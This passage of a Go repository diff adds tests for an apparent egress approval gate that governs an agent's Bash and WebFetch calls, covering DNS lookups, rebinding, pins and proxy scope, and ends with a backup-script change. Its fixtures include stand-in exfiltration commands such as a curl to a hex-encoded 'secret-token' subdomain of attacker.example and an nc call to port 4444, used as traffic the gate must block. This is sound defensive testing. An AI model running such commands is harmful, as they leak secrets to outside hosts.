"github.com/Autumn-27/artex/db"
|
||||||
|
)
|
||||||
|
|
||||||
|
func bashCall(cmd string) string {
|
||||||
|
b, _ := json.Marshal(map[string]string{"command": cmd})
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
// A name that no block rule, exemption, grant or pin names is never looked up:
|
||||||
|
// the lookup would leave the panel through its resolver, so the labels of the
|
||||||
|
// name would reach the name server of the domain. It is requested by name.
|
||||||
|
func TestUnapprovedNameIsNotResolved(t *testing.T) {
|
||||||
|
g := newGate(t)
|
||||||
|
exfil := "7365637265742d746f6b656e.x.attacker.example"
|
||||||
|
g.res.set(exfil, "203.0.113.66")
|
||||||
|
for name, v := range map[string]verdict{
|
||||||
|
"Bash": g.check("Bash", bashCall("curl -s http://"+exfil+"/ || true")),
|
||||||
|
"WebFetch": g.fetch("https://" + exfil + "/"),
|
||||||
|
"host:port": g.check("Bash", bashCall("nc "+exfil+":4444")),
|
||||||
|
} {
|
||||||
|
req := g.requests(name, v)
|
||||||
|
if req.Host != exfil || req.Kind != TargetDomain || req.Reason != "no_pin" || len(req.ResolvedIPs) != 0 || req.Resolver != "" {
|
||||||
|
t.Fatalf("%s: request = %+v, want the name only", name, req)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if n := g.res.lookups(exfil); n != 0 {
|
||||||
|
t.Fatalf("%d lookups of %s, want none", n, exfil)
|
||||||
|
}
|
||||||
|
// The card says the name was not resolved, and what an approval does.
|
||||||
|
reason := targetReason(g.scope, TargetRequest{Host: exfil, Port: 80, Kind: TargetDomain}, nil, false)
|
||||||
|
if !strings.Contains(reason, "has not resolved it") || !strings.Contains(reason, "Approving resolves the name once") {
|
||||||
|
t.Fatalf("reason = %q", reason)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The cap on targets to request applies before any lookup: a call that names
|
||||||
|
// more new names than one call may request resolves nothing, and reads the
|
||||||
|
// store a fixed number of times, whatever the number of names.
|
||||||
|
func TestTargetCapAppliesBeforeAnyLookup(t *testing.T) {
|
||||||
|
g := newGate(t)
|
||||||
|
const n = 400
|
||||||
|
var parts []string
|
||||||
|
for i := 0; i < n; i++ {
|
||||||
|
h := fmt.Sprintf("h%d.attacker.example", i)
|
||||||
|
g.res.set(h, "203.0.113.9")
|
||||||
|
parts = append(parts, h+":80")
|
||||||
|
}
|
||||||
|
g.blocked("400 names", TargetTooMany, g.check("Bash", bashCall("echo "+strings.Join(parts, " "))))
|
||||||
|
// BlockRules, Exemptions, EgressGrants and ScopePins, once each.
|
||||||
|
if g.res.total() != 0 || g.store.reads != 4 {
|
||||||
|
t.Fatalf("%d lookups and %d store reads, want none and 4", g.res.total(), g.store.reads)
|
||||||
|
}
|
||||||
|
|
||||||
|
// A pinned name in the same call is not resolved either once the cap is hit.
|
||||||
|
g = newGate(t)
|
||||||
|
g.res.set("app.example.com", "203.0.113.7")
|
||||||
|
g.pin("app.example.com", 443, "203.0.113.7")
|
||||||
|
cmd := "curl https://app.example.com/"
|
||||||
|
for i := 0; i <= maxUnpinnedTargets; i++ {
|
||||||
|
cmd += fmt.Sprintf(" https://n%d.attacker.example/", i)
|
||||||
|
}
|
||||||
|
g.blocked("six new names and a pinned one", TargetTooMany, g.check("Bash", bashCall(cmd)))
|
||||||
|
if g.res.total() != 0 {
|
||||||
|
t.Fatalf("%d lookups, want none", g.res.total())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The pins of the scope are read once per call, not once per target.
|
||||||
|
func TestPinsReadOncePerCall(t *testing.T) {
|
||||||
|
g := newGate(t)
|
||||||
|
cmd := "curl"
|
||||||
|
for i := 0; i < 8; i++ {
|
||||||
|
h := fmt.Sprintf("app%d.example.com", i)
|
||||||
|
g.res.set(h, "203.0.113.7")
|
||||||
|
g.pin(h, 443, "203.0.113.7")
|
||||||
|
cmd += " https://" + h + "/"
|
||||||
|
}
|
||||||
|
g.passes("eight pinned names", g.check("Bash", bashCall(cmd)))
|
||||||
|
if g.store.reads != 4 {
|
||||||
|
t.Fatalf("%d store reads, want 4 (rules, exemptions, grants, pins)", g.store.reads)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A name something approved is still resolved and compared: a pin (on any port
|
||||||
|
// of the name), a grant and a stored exemption. A pinned name that answers
|
||||||
|
// another address asks again with the fresh answer, and the address block
|
||||||
|
// rules apply to every name that is resolved.
|
||||||
|
func TestApprovedNamesStillResolveAndCompare(t *testing.T) {
|
||||||
|
g := newGate(t)
|
||||||
|
g.res.set("app.example.com", "203.0.113.7")
|
||||||
|
g.pin("app.example.com", 443, "203.0.113.7")
|
||||||
|
g.passes("pinned", g.fetch(appURL))
|
||||||
|
if g.res.lookups("app.example.com") != 1 {
|
||||||
|
t.Fatalf("%d lookups, want 1", g.res.lookups("app.example.com"))
|
||||||
|
}
|
||||||
|
// Rebinding: the name now answers another address.
|
||||||
|
g.res.set("app.example.com", "10.0.0.5")
|
||||||
|
g.expire()
|
||||||
|
req := g.requests("rebound", g.fetch(appURL))
|
||||||
|
if req.Reason != "new_ip" || !slices.Equal(req.ResolvedIPs, []string{"10.0.0.5"}) || req.Pin == nil {
|
||||||
|
t.Fatalf("request = %+v, want new_ip with the fresh answer", req)
|
||||||
|
}
|
||||||
|
g.store.rules = []db.AssetInterceptRule{{Enabled: true, Kind: "exact_ip", Pattern: "10.0.0.5"}}
|
||||||
|
g.blocked("rebound to a blocked address", TargetRuleBlocked, g.fetch(appURL))
|
||||||
|
g.store.rules = nil
|
||||||
|
|
||||||
|
// A pin on another port of the name: the name is resolved, and the
|
||||||
|
// request for the new port shows its addresses.
|
||||||
|
req = g.requests("other port", g.fetch("https://app.example.com:8443/"))
|
||||||
|
if req.Reason != "no_pin" || !slices.Equal(req.ResolvedIPs, []string{"10.0.0.5"}) {
|
||||||
|
t.Fatalf("request = %+v, want the addresses of the name", req)
|
||||||
|
}
|
||||||
|
|
||||||
|
// A granted name is resolved, and an address block rule applies to it.
|
||||||
|
g.store.grants = []db.ScopeEgress{{Kind: "domain", Value: "lab.test"}}
|
||||||
|
g.res.set("app.lab.test", "198.51.100.20")
|
||||||
|
g.passes("granted", g.fetch("https://app.lab.test/"))
|
||||||
|
g.store.rules = []db.AssetInterceptRule{{Enabled: true, Kind: "exact_ip", Pattern: "198.51.100.20"}}
|
||||||
|
g.blocked("granted, blocked address", TargetRuleBlocked, g.fetch("https://app.lab.test/"))
|
||||||
|
g.store.rules = nil
|
||||||
|
|
||||||
|
// A stored exemption is resolved: a private answer voids it.
|
||||||
|
g.store.exempt = []db.TargetExemption{{Host: "pypi.org", Port: 443}}
|
||||||
|
g.res.set("pypi.org", "151.101.0.223")
|
||||||
|
g.passes("exempt", g.fetch("https://pypi.org/simple/"))
|
||||||
|
g.res.set("pypi.org", "10.0.0.9")
|
||||||
|
g.expire()
|
||||||
|
if req := g.requests("void exemption", g.fetch("https://pypi.org/simple/")); !req.ExemptVoid || !slices.Equal(req.ResolvedIPs, []string{"10.0.0.9"}) {
|
||||||
|
t.Fatalf("request = %+v, want a void exemption with the address", req)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Approving a request raised by name resolves the name then, pins what it
|
||||||
|
// answers, and the waiting call passes. A later answer outside the pin is
|
||||||
|
// asked again at the next check and refused at the dial. A name that does not
|
||||||
|
// resolve on approval is refused, and the request stays open.
|
||||||
|
func TestApprovingNameRequestPinsResolvedAddresses(t *testing.T) {
|
||||||
|
d := targetTestDB(t)
|
||||||
|
ic := New(d)
|
||||||
|
res := newFakeResolver()
|
||||||
|
ic.SetResolver(res)
|
||||||
|
rec := newDialRecorder()
|
||||||
|
ic.SetBaseDialer(rec.dial)
|
||||||
|
scope := taskScope(t, d, ic, time.Minute)
|
||||||
|
ctx := WithTargetScope(context.Background(), scope)
|
||||||
|
res.set("fresh.example.com", "203.0.113.7")
|
||||||
|
input := []byte(`{"url":"https://fresh.example.com/"}`)
|
||||||
|
|
||||||
|
reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", input)
|
||||||
|
if out.Code != "" || len(reqs) != 1 || len(reqs[0].ResolvedIPs) != 0 || res.total() != 0 {
|
||||||
|
t.Fatalf("check: %+v %+v after %d lookups, want one request by name and no lookup", reqs, out, res.total())
|
||||||
|
}
|
||||||
|
waiting := make(chan TargetResult, 1)
|
||||||
|
go func() { waiting <- ic.RequestTargets(ctx, scope, "WebFetch", input, reqs, nil) }()
|
||||||
|
id := oneOpenRow(t, d, scope)
|
||||||
|
shown, err := d.GetInterceptDetail(id)
|
||||||
|
if err != nil || shown == nil || len(shown.Audit.Targets) != 1 || len(shown.Audit.Targets[0].ResolvedIPs) != 0 ||
|
||||||
|
!strings.Contains(shown.Reason, "has not resolved it") {
|
||||||
|
t.Fatalf("displayed request = %+v, %v; want the name only", shown, err)
|
||||||
|
}
|
||||||
|
if res.total() != 0 {
|
||||||
|
t.Fatalf("%d lookups before the approval, want none", res.total())
|
||||||
|
}
|
||||||
|
if err := ic.Decide(id, true, "ARTEX", "198.51.100.9"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if got := result(t, waiting); got.Code != "" {
|
||||||
|
t.Fatalf("waiting call: %+v", got)
|
||||||
|
}
|
||||||
|
got := pins(t, d, scope)
|
||||||
|
if len(got) != 1 || !slices.Equal(got[0].PinnedIPs, []string{"203.0.113.7"}) || got[0].Resolver != "fake" {
|
||||||
|
t.Fatalf("pins = %+v, want the address resolved on approval", got)
|
||||||
|
}
|
||||||
|
if res.lookups("fresh.example.com") != 1 {
|
||||||
|
t.Fatalf("%d lookups, want one on approval", res.lookups("fresh.example.com"))
|
||||||
|
}
|
||||||
|
decided, _ := d.GetInterceptDetail(id)
|
||||||
|
if decided == nil || !slices.Equal(decided.Audit.Targets[0].ResolvedIPs, []string{"203.0.113.7"}) || decided.Audit.Targets[0].Outcome != "pinned" {
|
||||||
|
t.Fatalf("decided row = %+v", decided)
|
||||||
|
}
|
||||||
|
if reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", input); out.Code != "" || len(reqs) != 0 {
|
||||||
|
t.Fatalf("after the approval: %+v %+v, want the call to pass", reqs, out)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Rebinding: the name now answers a private address. The dial resolves
|
||||||
|
// afresh, finds it outside the pin, and connects nowhere.
|
||||||
|
res.set("fresh.example.com", "10.0.0.5")
|
||||||
|
_, err = PinnedDialer("WebFetch", true)(ctx, "tcp", "fresh.example.com:443")
|
||||||
|
if code, ok := IsTargetBlocked(err); !ok || code != TargetApprovalPending {
|
||||||
|
t.Fatalf("rebound dial: %v, want %s", err, TargetApprovalPending)
|
||||||
|
}
|
||||||
|
if calls := rec.calls(); len(calls) != 0 {
|
||||||
|
t.Fatalf("dialled %v, want nothing", calls)
|
||||||
|
}
|
||||||
|
|
||||||
|
// A name that does not resolve on approval: refused, the row stays open.
|
||||||
|
res.errs["gone.example.com"] = errors.New("no such host")
|
||||||
|
gone := []byte(`{"url":"https://gone.example.com/"}`)
|
||||||
|
reqs, out = ic.CheckTargets(ctx, scope, "WebFetch", gone)
|
||||||
|
if out.Code != "" || len(reqs) != 1 {
|
||||||
|
t.Fatalf("check: %+v %+v, want one request by name", reqs, out)
|
||||||
|
}
|
||||||
|
noWait := scope
|
||||||
|
noWait.WaitBound = 0
|
||||||
|
r := ic.RequestTargets(ctx, noWait, "WebFetch", gone, reqs, nil)
|
||||||
|
if r.Code != TargetApprovalPending || r.PendingID == 0 {
|
||||||
|
t.Fatalf("request: %+v", r)
|
||||||
|
}
|
||||||
|
pendingID := r.PendingID
|
||||||
|
if err := ic.Decide(pendingID, true, "ARTEX", "198.51.100.9"); !errors.Is(err, db.ErrTargetPinEmpty) {
|
||||||
|
t.Fatalf("approving an unresolvable name: %v, want %v", err, db.ErrTargetPinEmpty)
|
||||||
|
}
|
||||||
|
if row, err := d.GetInterceptPending(pendingID); err != nil || row == nil || row.Status != "pending" {
|
||||||
|
t.Fatalf("row after the refused approval = %+v, %v; want it still pending", row, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A name approved by name meets the asset block rules on the addresses it
|
||||||
|
// resolves to on approval, before anything is pinned. One blocked address (here
|
||||||
|
// inside a blocked range, next to a clean one) refuses the whole approval: no
|
||||||
|
// pin, the request closed as denied by the system, the waiting call refused,
|
||||||
|
// and no dial reaches the address. A clean name pins and dials as before, and
|
||||||
|
// a pinned name that later answers a blocked address is refused at the check
|
||||||
|
// and at the dial.
|
||||||
|
func TestApprovedNameResolvingToBlockedAddressIsNotPinned(t *testing.T) {
|
||||||
|
d := targetTestDB(t)
|
||||||
|
ic := New(d)
|
||||||
|
res := newFakeResolver()
|
||||||
|
ic.SetResolver(res)
|
||||||
|
rec := newDialRecorder()
|
||||||
|
ic.SetBaseDialer(rec.dial)
|
||||||
|
clock := time.Now()
|
||||||
|
ic.resolve.now = func() time.Time { return clock }
|
||||||
|
scope := taskScope(t, d, ic, time.Minute)
|
||||||
|
ref := scope.dbRef(t)
|
||||||
|
if _, err := d.Assets().CreateTaskInterceptRule(ref.TaskID, "block", "cidr", "10.0.0.0/8", "target gate test", true); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
ctx := WithTargetScope(context.Background(), scope)
|
||||||
|
srv, hits, port := pinnedServer(t, "reached")
|
||||||
|
for _, ip := range []string{"10.0.0.5", "203.0.113.7", "203.0.113.8"} {
|
||||||
|
rec.route(ip+":"+port, srv.Listener.Addr().String())
|
||||||
|
}
|
||||||
|
rec.route("blocked.example.com:"+port, srv.Listener.Addr().String())
|
||||||
|
|
||||||
|
approve := func(host string) (TargetResult, error) {
|
||||||
|
t.Helper()
|
||||||
|
input := fetchInput("http://" + host + ":" + port + "/")
|
||||||
|
reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", input)
|
||||||
|
if out.Code != "" || len(reqs) != 1 || len(reqs[0].ResolvedIPs) != 0 {
|
||||||
|
t.Fatalf("%s: check %+v %+v, want one request by name", host, reqs, out)
|
||||||
|
}
|
||||||
|
waiting := make(chan TargetResult, 1)
|
||||||
|
go func() { waiting <- ic.RequestTargets(ctx, scope, "WebFetch", input, reqs, nil) }()
|
||||||
|
var id int64
|
||||||
|
eventually(t, "the request of "+host, func() bool {
|
||||||
|
for _, open := range openRows(t, d, scope) {
|
||||||
|
if row, _ := d.GetInterceptDetail(open); row != nil && row.Audit.Targets[0].Host == host {
|
||||||
|
id = open
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
})
|
||||||
|
err := ic.Decide(id, true, "ARTEX", "192.0.2.1")
|
||||||
|
return result(t, waiting), err
|
||||||
|
}
|
||||||
|
pinsOf := func(host string) []*db.TargetPin {
|
||||||
|
t.Helper()
|
||||||
|
var out []*db.TargetPin
|
||||||
|
for _, p := range pins(t, d, scope) {
|
||||||
|
if p.Host == host {
|
||||||
|
out = append(out, p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// A name that answers a clean and a blocked address.
|
||||||
|
res.set("blocked.example.com", "203.0.113.7", "10.0.0.5")
|
||||||
|
waited, err := approve("blocked.example.com")
|
||||||
|
if !errors.Is(err, ErrTargetAddressBlocked) || !errors.Is(err, ErrAlreadyDecided) {
|
||||||
|
t.Fatalf("approving a name that answers a blocked address: %v, want %v", err, ErrTargetAddressBlocked)
|
||||||
|
}
|
||||||
|
if p := pinsOf("blocked.example.com"); len(p) != 0 {
|
||||||
|
t.Fatalf("pins = %+v, want none", p)
|
||||||
|
}
|
||||||
|
if waited.Code != TargetDenied {
|
||||||
|
t.Fatalf("waiting call: %+v, want %s", waited, TargetDenied)
|
||||||
|
}
|
||||||
|
for _, open := range openRows(t, d, scope) {
|
||||||
|
if row, _ := d.GetInterceptDetail(open); row != nil && row.Audit.Targets[0].Host == "blocked.example.com" {
|
||||||
|
t.Fatalf("request %d is still open", open)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// No other path reaches it: the next check asks by name again, and the
|
||||||
|
// dial, with no pin, opens a request and connects nowhere.
|
||||||
|
if reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", fetchInput("http://blocked.example.com:"+port+"/")); out.Code != "" || len(reqs) != 1 || len(reqs[0].ResolvedIPs) != 0 {
|
||||||
|
t.Fatalf("after the refusal: %+v %+v, want a request by name", reqs, out)
|
||||||
|
}
|
||||||
|
if _, err := PinnedDialer("WebFetch", true)(ctx, "tcp", "blocked.example.com:"+port); err == nil {
|
||||||
|
t.Fatal("the dial of the refused name was opened")
|
||||||
|
}
|
||||||
|
if got := rec.calls(); len(got) != 0 || hits.Load() != 0 {
|
||||||
|
t.Fatalf("dialled %v, %d hits; want nothing", got, hits.Load())
|
||||||
|
}
|
||||||
|
|
||||||
|
// Control: a clean name pins what it answered and dials only that.
|
||||||
|
res.set("clean.example.com", "203.0.113.8")
|
||||||
|
if waited, err := approve("clean.example.com"); err != nil || waited.Code != "" {
|
||||||
|
t.Fatalf("clean name: %+v, %v", waited, err)
|
||||||
|
}
|
||||||
|
if p := pinsOf("clean.example.com"); len(p) != 1 || !slices.Equal(p[0].PinnedIPs, []string{"203.0.113.8"}) {
|
||||||
|
t.Fatalf("clean pins = %+v", p)
|
||||||
|
}
|
||||||
|
conn, err := PinnedDialer("WebFetch", true)(ctx, "tcp", "clean.example.com:"+port)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("clean dial: %v", err)
|
||||||
|
}
|
||||||
|
conn.Close()
|
||||||
|
if got := rec.calls(); !slices.Equal(got, []string{"203.0.113.8:" + port}) {
|
||||||
|
t.Fatalf("dialled %v, want the pinned address", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The clean name later answers a blocked address: the check, once the
|
||||||
|
// cached answer runs out, and the dial, with a fresh lookup, both refuse.
|
||||||
|
res.set("clean.example.com", "10.0.0.5")
|
||||||
|
clock = clock.Add(resolveCacheTTL + time.Second)
|
||||||
|
if _, out := ic.CheckTargets(ctx, scope, "WebFetch", fetchInput("http://clean.example.com:"+port+"/")); out.Code != TargetRuleBlocked {
|
||||||
|
t.Fatalf("check after the rebind: %+v, want %s", out, TargetRuleBlocked)
|
||||||
|
}
|
||||||
|
_, err = PinnedDialer("WebFetch", true)(ctx, "tcp", "clean.example.com:"+port)
|
||||||
|
if code, ok := IsTargetBlocked(err); !ok || code != TargetRuleBlocked {
|
||||||
|
t.Fatalf("dial after the rebind: %v, want %s", err, TargetRuleBlocked)
|
||||||
|
}
|
||||||
|
if got := rec.calls(); len(got) != 1 || hits.Load() != 0 {
|
||||||
|
t.Fatalf("dialled %v, %d requests; want only the clean dial", got, hits.Load())
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,143 @@
|
|||||||
|
package sandbox
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"net/netip"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDockerBackendRecreatesProxyWhenScopeApproved(t *testing.T) {
|
||||||
|
ctx := context.Background()
|
||||||
|
root := t.TempDir()
|
||||||
|
b := NewDockerBackend(DockerConfig{WorkspaceRoot: root, AuditRoot: root})
|
||||||
|
|
||||||
|
labels := map[string]string{LabelManagedBy: ManagedByRunner, LabelTask: "6"}
|
||||||
|
|
||||||
|
var mu sync.Mutex
|
||||||
|
var proxyEnvs [][]string
|
||||||
|
var proxyDeletes int
|
||||||
|
var workerCreates int
|
||||||
|
proxySeq := 0
|
||||||
|
|
||||||
|
fake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
switch r.Method + " " + r.URL.Path {
|
||||||
|
case "GET /networks/artex-task-6":
|
||||||
|
_ = json.NewEncoder(w).Encode(map[string]any{"Internal": true, "Labels": labels})
|
||||||
|
case "GET /networks/egress-net":
|
||||||
|
_, _ = w.Write([]byte("{}"))
|
||||||
|
case "DELETE /containers/artex-egress-6":
|
||||||
|
mu.Lock()
|
||||||
|
proxyDeletes++
|
||||||
|
mu.Unlock()
|
||||||
|
w.WriteHeader(http.StatusNoContent)
|
||||||
|
case "DELETE /containers/artex-worker-6":
|
||||||
|
w.WriteHeader(http.StatusNotFound)
|
||||||
|
case "POST /networks/egress-net/connect":
|
||||||
|
w.WriteHeader(http.StatusNoContent)
|
||||||
|
case "POST /containers/create":
|
||||||
|
name := r.URL.Query().Get("name")
|
||||||
|
switch name {
|
||||||
|
case "artex-egress-6":
|
||||||
|
var spec struct {
|
||||||
|
Env []string `json:"Env"`
|
||||||
|
}
|
||||||
|
_ = json.NewDecoder(r.Body).Decode(&spec)
|
||||||
|
mu.Lock()
|
||||||
|
proxySeq++
|
||||||
|
id := fmt.Sprintf("proxy-%d", proxySeq)
|
||||||
|
proxyEnvs = append(proxyEnvs, spec.Env)
|
||||||
|
mu.Unlock()
|
||||||
|
_ = json.NewEncoder(w).Encode(map[string]string{"Id": id})
|
||||||
|
case "artex-worker-6":
|
||||||
|
mu.Lock()
|
||||||
|
workerCreates++
|
||||||
|
mu.Unlock()
|
||||||
|
_ = json.NewEncoder(w).Encode(map[string]string{"Id": "worker-1"})
|
||||||
|
default:
|
||||||
|
http.NotFound(w, r)
|
||||||
|
}
|
||||||
|
case "POST /containers/proxy-1/start", "POST /containers/proxy-2/start", "POST /containers/proxy-3/start", "POST /containers/worker-1/start":
|
||||||
|
w.WriteHeader(http.StatusNoContent)
|
||||||
|
case "POST /containers/worker-1/exec":
|
||||||
|
_ = json.NewEncoder(w).Encode(map[string]string{"Id": "exec-1"})
|
||||||
|
case "POST /exec/exec-1/start":
|
||||||
|
w.WriteHeader(http.StatusOK)
|
||||||
|
case "GET /exec/exec-1/json":
|
||||||
|
_, _ = w.Write([]byte(`{"ExitCode":0,"Running":false}`))
|
||||||
|
default:
|
||||||
|
http.NotFound(w, r)
|
||||||
|
}
|
||||||
|
}))
|
||||||
|
t.Cleanup(fake.Close)
|
||||||
|
|
||||||
|
transport := b.http.Transport.(*http.Transport)
|
||||||
|
transport.DialContext = func(ctx context.Context, _, _ string) (net.Conn, error) {
|
||||||
|
var d net.Dialer
|
||||||
|
return d.DialContext(ctx, "tcp", fake.Listener.Addr().String())
|
||||||
|
}
|
||||||
|
t.Cleanup(transport.CloseIdleConnections)
|
||||||
|
|
||||||
|
envVal := func(env []string, key string) string {
|
||||||
|
prefix := key + "="
|
||||||
|
for _, kv := range env {
|
||||||
|
if v, ok := strings.CutPrefix(kv, prefix); ok {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. Initial exec before approval: proxy starts with empty ARTEX_SCOPE_DOMAINS.
|
||||||
|
if _, err := b.Exec(ctx, "6", ExecRequest{Argv: []string{"true"}, TimeoutMS: 1000}); err != nil {
|
||||||
|
t.Fatalf("Exec #1: %v", err)
|
||||||
|
}
|
||||||
|
// 2. Scope approved (root_domain xxx.com): proxy is deleted and recreated with ARTEX_SCOPE_DOMAINS=xxx.com.
|
||||||
|
if _, err := b.Exec(ctx, "6", ExecRequest{Argv: []string{"true"}, TimeoutMS: 1000, ScopeDomains: []string{"xxx.com"}}); err != nil {
|
||||||
|
t.Fatalf("Exec #2: %v", err)
|
||||||
|
}
|
||||||
|
// 3. Scope revoked: proxy is deleted and recreated with empty ARTEX_SCOPE_DOMAINS.
|
||||||
|
if _, err := b.Exec(ctx, "6", ExecRequest{Argv: []string{"true"}, TimeoutMS: 1000}); err != nil {
|
||||||
|
t.Fatalf("Exec #3: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
mu.Lock()
|
||||||
|
defer mu.Unlock()
|
||||||
|
if workerCreates != 1 {
|
||||||
|
t.Fatalf("workerCreates = %d, want 1 (proxy should update without recreating worker)", workerCreates)
|
||||||
|
}
|
||||||
|
if proxyDeletes != 3 || len(proxyEnvs) != 3 {
|
||||||
|
t.Fatalf("proxyDeletes=%d len(proxyEnvs)=%d, want 3/3", proxyDeletes, len(proxyEnvs))
|
||||||
|
}
|
||||||
|
if got := envVal(proxyEnvs[0], "ARTEX_SCOPE_DOMAINS"); got != "" {
|
||||||
|
t.Fatalf("initial ARTEX_SCOPE_DOMAINS = %q, want empty", got)
|
||||||
|
}
|
||||||
|
approvedDomains := envVal(proxyEnvs[1], "ARTEX_SCOPE_DOMAINS")
|
||||||
|
if approvedDomains != "xxx.com" {
|
||||||
|
t.Fatalf("approved ARTEX_SCOPE_DOMAINS = %q, want xxx.com", approvedDomains)
|
||||||
|
}
|
||||||
|
if got := envVal(proxyEnvs[2], "ARTEX_SCOPE_DOMAINS"); got != "" {
|
||||||
|
t.Fatalf("revoked ARTEX_SCOPE_DOMAINS = %q, want empty", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify artex-egress-proxy's policy builder accepts xxx.com from that env var and denies other domains.
|
||||||
|
pol, err := NewEgressPolicy("6", ParseCSV(approvedDomains), nil, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewEgressPolicy: %v", err)
|
||||||
|
}
|
||||||
|
pol.Resolver = func(context.Context, string) ([]netip.Addr, error) {
|
||||||
|
return []netip.Addr{netip.MustParseAddr("203.0.113.10")}, nil
|
||||||
|
}
|
||||||
|
if _, err := pol.ResolveAndCheck(ctx, "xxx.com"); err != nil {
|
||||||
|
t.Fatalf("recreated proxy policy should allow xxx.com: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := pol.ResolveAndCheck(ctx, "evil.invalid"); err == nil {
|
||||||
|
t.Fatalf("recreated proxy policy unexpectedly allowed evil.invalid")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
package sandbox
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Every image the repository's Dockerfiles build from must be pinned by
|
||||||
|
// digest (tag@sha256:...), so a rebuild runs the reviewed base and not
|
||||||
|
// whatever the tag points to that day. Dependabot keeps the digests current.
|
||||||
|
func TestDockerfileBaseImagesArePinnedByDigest(t *testing.T) {
|
||||||
|
files, err := filepath.Glob(filepath.Join("..", "Dockerfile*"))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
files = append(files, filepath.Join("..", "egress-guard", "Dockerfile"))
|
||||||
|
for _, want := range []string{"Dockerfile", "Dockerfile.runner", "Dockerfile.worker", "Dockerfile.egress-proxy"} {
|
||||||
|
found := false
|
||||||
|
for _, f := range files {
|
||||||
|
if filepath.Base(f) == want {
|
||||||
|
found = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("%s not found next to the module root", want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
digest := regexp.MustCompile(`^[^@\s]+:[^@\s]+@sha256:[0-9a-f]{64}$`)
|
||||||
|
for _, f := range files {
|
||||||
|
raw, err := os.ReadFile(f)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read %s: %v", f, err)
|
||||||
|
}
|
||||||
|
stages := map[string]bool{}
|
||||||
|
froms := 0
|
||||||
|
for i, line := range strings.Split(strings.ReplaceAll(string(raw), "\r\n", "\n"), "\n") {
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
if len(fields) == 0 || !strings.EqualFold(fields[0], "FROM") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
froms++
|
||||||
|
args := fields[1:]
|
||||||
|
for len(args) > 0 && strings.HasPrefix(args[0], "--") {
|
||||||
|
args = args[1:]
|
||||||
|
}
|
||||||
|
if len(args) == 0 {
|
||||||
|
t.Errorf("%s:%d: FROM without an image", f, i+1)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
image := args[0]
|
||||||
|
if !stages[strings.ToLower(image)] && image != "scratch" && !digest.MatchString(image) {
|
||||||
|
t.Errorf("%s:%d: FROM %s is not pinned as tag@sha256:<digest>", f, i+1, image)
|
||||||
|
}
|
||||||
|
if len(args) >= 3 && strings.EqualFold(args[1], "AS") {
|
||||||
|
stages[strings.ToLower(args[2])] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if froms == 0 {
|
||||||
|
t.Errorf("%s: no FROM line", f)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+3
-3
@@ -11,13 +11,13 @@
|
|||||||
# --output-dir where to write (default backups/, relative to the repo root)
|
# --output-dir where to write (default backups/, relative to the repo root)
|
||||||
#
|
#
|
||||||
# The database dump runs inside the postgres compose service, so no psql client
|
# The database dump runs inside the postgres compose service, so no psql client
|
||||||
# is needed on the host. Restore:
|
# is needed on the host. Restore into an empty database:
|
||||||
# gunzip -c backups/artex-db-<ts>.sql.gz | docker compose exec -T postgres \
|
# gunzip -c backups/artex-db-<ts>.sql.gz | docker compose exec -T postgres \
|
||||||
# psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"
|
# sh -c 'exec psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"'
|
||||||
set -euo pipefail
|
set -euo pipefail
|
||||||
cd "$(dirname "$0")/.."
|
cd "$(dirname "$0")/.."
|
||||||
|
|
||||||
usage() { sed -n '2,15p' "$0" | sed 's/^# \?//'; }
|
